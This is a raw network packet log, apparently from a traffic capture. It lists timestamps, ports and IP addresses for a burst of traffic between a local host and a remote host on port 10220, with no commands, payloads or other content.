Jan 10, 2024 15:49:21.856376886 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.856414080 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.856468916 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.856502056 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.856551886 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.856643915 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.856678009 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.856719017 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.856794119 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.856828928 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.856888056 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.856920004 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.856966019 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.857043982 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.857080936 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.857146025 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.857322931 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.857357979 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.857424021 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.857515097 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.857552052 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.857589960 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.857624054 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.857688904 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.857762098 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.857796907 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.857841969 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.857939005 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.857975006 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.858021975 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858056068 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.858077049 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858140945 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858175039 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.858206987 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858290911 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858326912 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.858344078 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858376026 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.858402014 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858448029 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858489990 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.858506918 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858573914 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858609915 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.858650923 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858684063 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.858730078 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858817101 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858850956 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.858901024 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858951092 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.858985901 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.859004974 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.859071016 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.859107971 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.859157085 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.859190941 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.859221935 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.859309912 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.859348059 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.859482050 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.859568119 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.859605074 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.859649897 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.859728098 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.859764099 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.859775066 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.859810114 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.859843969 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.859911919 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.859947920 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.859962940 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.860024929 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.860059977 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.860099077 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.860131979 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.860178947 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.860219002 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.860254049 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.860263109 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.860359907 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.860394955 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.860436916 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.860471964 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.860529900 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.860610962 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.860645056 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.860694885 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.860786915 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.860821009 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.860865116 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.860898972 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.860954046 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.861032963 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.861068964 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.861119032 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.861195087 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.861233950 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.861327887 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.861362934 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.861367941 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.861432076 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.861465931 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.861535072 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.861634970 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.861671925 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.861690998 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.861757040 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.861790895 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.861823082 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.861855030 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.861908913 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.861973047 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.862009048 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.862075090 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.862158060 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.862193108 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.862266064 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.862298965 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.862356901 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.862443924 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.862478018 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.862528086 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.862621069 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.862658024 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.862704039 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.862737894 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.862809896 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.862886906 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.862921000 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.862973928 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.863075018 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.863109112 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.863154888 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.863231897 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.863267899 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.863384008 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.863419056 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.863450050 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.863533974 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.863573074 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.863620996 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.863724947 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.863760948 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.863821030 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.863853931 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.863923073 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.864083052 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.864118099 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.864252090 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.864345074 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.864381075 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.864438057 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.864470959 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.864512920 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.864597082 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.864635944 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.864674091 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.864770889 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.864805937 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.864856958 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.864928961 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.864964962 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.865016937 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.865050077 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.865111113 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.865183115 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.865220070 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.865257025 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.865362883 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.865397930 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.865473032 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.865504980 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.865552902 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.865633965 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.865669012 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.865715027 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.865812063 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.865852118 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.865881920 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.865917921 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.865983009 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.866092920 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.866132975 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.866163969 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.866250038 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.866285086 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.866322994 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.866499901 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.866533995 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.866564989 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.866597891 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.866606951 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.866667032 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.866700888 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.866705894 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.866799116 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.866833925 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.866849899 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.866882086 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.866941929 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.867000103 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.867034912 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.867089987 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.867172003 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.867206097 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.867273092 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.867305040 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.867362022 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.867434978 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.867468119 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.867536068 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.867639065 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.867654085 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.867721081 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.867759943 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.867778063 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.867858887 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.867878914 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.867901087 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.867959023 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.867999077 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.868050098 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.868087053 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.868135929 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.868172884 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.868206024 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.868247032 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.868266106 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.868298054 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.868396997 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.868439913 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.868458986 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.868501902 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.868503094 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.868532896 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.868565083 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.868602991 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.868637085 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.868689060 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.868788958 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.868824959 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.868858099 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.868889093 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.868952036 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869016886 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869057894 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.869091988 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869132996 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869172096 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.869179010 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869210958 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.869241953 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869304895 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869340897 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.869342089 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869435072 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869467020 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.869513988 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869544983 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.869610071 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869702101 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869733095 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.869770050 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869869947 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869915009 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.869952917 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.869998932 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.870032072 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.870094061 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.870135069 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.870151043 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.870243073 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.870275021 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.870325089 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.870367050 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.870429993 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.870515108 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.870548964 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.870580912 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.870770931 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.870810032 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.870841980 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.870879889 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.870909929 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.870970011 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871009111 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.871022940 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871067047 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871104956 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.871136904 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871176958 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871212006 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.871228933 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871260881 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.871326923 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871407032 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871438980 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.871473074 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871526957 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871561050 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.871577024 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871634007 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.871639967 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871675968 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.871730089 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871743917 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871778011 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.871809959 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871850967 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871891022 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.871912956 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.871946096 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.871977091 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872055054 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872090101 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.872138977 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872184992 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872217894 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.872260094 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872287989 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872291088 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.872368097 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872400045 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.872452974 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872526884 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872565985 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.872581959 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872618914 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.872649908 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872694969 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872734070 CET	49757	10220	192.168.2.4	49.12.114.15
